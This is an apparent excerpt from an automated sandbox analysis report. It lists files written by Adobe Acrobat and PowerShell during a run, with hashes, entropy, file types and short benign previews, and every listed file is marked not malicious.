MD5:	811EF579A74841C08700B59CCDA2B427
SHA1:	7FF7D0389BC7C7C1E166E84AC260B7099D77EDF8
SHA-256:	9B7337D646F203F364585D1A4E10C719BD2131A76A18131E51A0DF7A627E5F51
SHA-512:	C287B3662FBD195C0E05A6DFA036D8E27DD5C9FCB9BA6E3217370225FE2FAFD3410FF93295B5260995C18F5B12B37EC83001545E52CACCB9D01BEC938C7A3F0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.657378982736981
Encrypted:	false
SSDEEP:	24:Yv6XBc+ZVmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSB:YvEcgeBgkDMUJUAh8cvMB
MD5:	524DB4E903A56C3B5ECA6423FBD0C125
SHA1:	36FBB8E78604599CCBB982869CBB45D3FCAB9DD8
SHA-256:	4AB5DBDEE2E0D7CCCB65EA1536B29D76BC87D5750BDE50A5B4C959F865F95A4F
SHA-512:	EF47618D28DE9D9561546DEBC0C743E8B5D7A8A7F021EECEE04C290E096E4345868D5780FD63D8E51BD4767B90C6DD533AEC4092CDFCC041431554C581E0A671
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.24331952182119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJfshHHrPeUkwRe9:YvXKXBc8bt2cJXVVGUUUkee9
MD5:	93B979BFE4282BFCEE0E52B7E93FA5D6
SHA1:	64BE4041277F08A6D36185A81037AFC9C6F142B4
SHA-256:	BD59D87E792496D8F4E0FAD6895A4EDA380C9BD3AB3BF2DA27BF08483308B9E5
SHA-512:	82F2B0D7751CA14AF4256017DB0F67835343E70847D519A86078180D8E63419DDFA022489078BF7DF96C13DF5FF7D99D9AE7F8D632D794F487C2325A255E5E2E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.244620213631912
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBcDxWb1is2nZiQ0YS9VXVeoAvJTqgFCrPeUkwRe9:YvXKXBc8bt2cJXVVGTq16Ukee9
MD5:	0F54AF577E2F89815A0A1151738DAB4B
SHA1:	2589C7A62826BE46A5489F8BEA4849A224711AD8
SHA-256:	8C3DE30D66052AB5B6A4B8145CE59F129E37BF83AA16870333D0CEA25BD2E118
SHA-512:	B68E9D31B3FDAFBCA8C68099A5E2027DAE7B3720657D2224F88B986319C6B99BF39ABB67151C2D6F5E737CEFFEA58D0D2DBCB95DD7A53169A4CFEAB0585342E6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"69f42bde-e984-46c2-b04f-ea9924e59bce","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736743900202,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.148962820196215
Encrypted:	false
SSDEEP:	24:Y3xEoarayqVOIh2TSJg8be72FRoFk/4mPj0i6j0SMfTZC2CFi2LSMRCTTsWt5NaO:Y3x7g8beqL/JZcbzFiYgsWfNaTq9j
MD5:	278D1475D7CDA7D0578093F3BF7E02AC
SHA1:	D9ADD6A1ED742020C1E674C56F3B191EAF6D0726
SHA-256:	9E5DEE7C2E0EF5711E67C1EA43AF7B34BA2EF8C9E45901BDBE315900F39BC18E
SHA-512:	08BABEACE0FCEFF603AA47D4342A3729E723178A0DCCEBC2ABC2D8A57781BF75D412CD459C80E7B65CCDC38C6A4BF0323256C20D692B06A16F3CD54CCCD0016F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"9ced4243c71bd4ead7fe89e0f25e784b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736564380000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9473d054305c57e5b83c828d23bb0f2b","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736564379000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"46c7b86df2d5bb26229e78e414457e1d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736564379000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"afe00187ad13481042ff2e8a3c8b9c03","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736564379000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"5b22f9da162fe8f485bb018618dda48b","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736564379000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"35db79561823ee2363baae3f2122c0b2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1468672507963122
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursPRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHC:TFl2GL7ms7Xc+XcGNFlRYIX2v3kC
MD5:	F1F77EB37005051971FB62B2AA2615DB
SHA1:	E484E76ABD99FD034A41C5EBA931341EB3280F7E
SHA-256:	F12B9EE1D6B996E5854DAC363F3E0147E1EF6FE7822F2E75F742AF80D09FEF47
SHA-512:	CBAEA9DF77732360FAF58035024C1C5270B6291964C56936342B3A10E0F52C3125CD7391059B2423BD14AF29F7CA33B2B54BC82FDE86F1B8F0BC9D8A4D4964FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.550128366914914
Encrypted:	false
SSDEEP:	24:7+twUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxoqLxx/XYKQi:7MVXc+XcGNFlRYIX2vNqVl2GL7msZ
MD5:	0B9CD442CC1033C48FD1F351F30074B4
SHA1:	97AC238E02C41883E1E0B7E9FC3B6D2ED7900AF7
SHA-256:	0DFD3BDC0552274362604CD1E7921DAC2EE5E6E025E1400735CEE9E5D12F1E07
SHA-512:	316228EEA4DA0D47CBCD97433C725FA72074A11CC5EC305FBC5DA7C8EA4DD022962BFEB72EDB83D28F5F94743931E71827DDC408EE40D31BEA5CDD359C21E432
Malicious:	false
Preview:	.... .c......96...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg0vwwUJ80+f+fa3Tu2a3qdSaQkmTYyu:6a6TZ44ADENwU80HfSTuda8TK
MD5:	438BD73604CA3C8283914EFD3CCF8DD2
SHA1:	1046D3B8EAD21631BCD7BF473C341421CB00A6AE
SHA-256:	080B0B481CA23A39DE69209875B7AC1988DAC1B4342EF9ACF54F4C801EF13CAB
SHA-512:	B61124A0452E87551692F15BD91E4E8444FBFF4618CFF7094DF2825B55656CB179B09CB103231EFA79B5E007A1936CEEB703273869E0724B0350C9824B8A5497
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI51bf6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCls4f9:Qw946cPbiOxDlbYnuRK+bU
MD5:	49DAE21B868E963CDE45FBB80B174FE8
SHA1:	7BB44F42E5652E40379C47B239F5148F87B6F57E
SHA-256:	2C8DB02F7F8BFFA366E6777F1307BCF4F286A8FA793DF679271DAFC4ED952E5A
SHA-512:	72EC80195B859D9F45D2EE3B7812D9BF91ADDF203AFC2125174E25F993A41DB273E36B90EE093663659E15BE1ADD162E2BB47C963432B730F12A9039AF580E01
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.1.:.5.9.:.3.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1xsbiv3v.pth.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ef4lcktb.doc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 21-59-33-308.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15112
Entropy (8bit):	5.356273460341009
Encrypted:	false
SSDEEP:	384:7t7Ijwz7orS07GLWYbzrYeTuK5E/8dxmLUQ8qGaej2VQbZ/P9DqYtzWza3oWSq3t:LotK
MD5:	E8411D9BD3B78348EE215D60978F9362
SHA1:	140BFE9CACF52AAB0EFFC15ABC2EA130216D18E4
SHA-256:	66FA3D1A08837BCD4B8D0920570A5FBE11464AD661C4F8B5DDDAFC39FE7AECC9
SHA-512:	FF5318CA68ECD73BE30E42383D238EA1BD1D55E37FE15BBC1382CFF794CAC11F0534D06BCCED7616E2C2F9070A2C31F5B9980C92AE4BABE930E6EDA6A9A28AED
Malicious:	false
Preview:	SessionID=265de790-7179-4aaa-8957-7e4cf86ced83.1736564373321 Timestamp=2025-01-10T21:59:33:321-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=265de790-7179-4aaa-8957-7e4cf86ced83.1736564373321 Timestamp=2025-01-10T21:59:33:322-0500 ThreadID=7416 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=265de790-7179-4aaa-8957-7e4cf86ced83.1736564373321 Timestamp=2025-01-10T21:59:33:322-0500 ThreadID=7416 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=265de790-7179-4aaa-8957-7e4cf86ced83.1736564373321 Timestamp=2025-01-10T21:59:33:322-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=265de790-7179-4aaa-8957-7e4cf86ced83.1736564373321 Timestamp=2025-01-10T21:59:33:322-0500 ThreadID=7416 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.409202346149267
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbywcbeIpvcbp:V3fOCIdJDeolp8
MD5:	8D63D070F89CE8C814FA2766FD1DDC22
SHA1:	47E3E1D487B39A73E37ECD77A86DDD6E1FD07568
SHA-256:	47798856A625E525DC6BC57AEDD157B2EC325D73A8C1E328B336FED8675E14ED
SHA-512:	99E047AAA508D8113B36EF3BABB0B6B370295665980AC9AAC168E70F227EFA9A6341CDDE4A3CE3B69B10DC846DF6D4B7B733CCA079D2F792350E5D948D4778D8
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\01402826-1d3e-46de-a524-7b492ddaef04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\71391981-bd6b-425b-8c24-b97650712783.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\74ca43ba-e7b1-4c03-9631-c58c875b705e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ab2ee8f2-c133-4673-a505-3547afae3f32.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
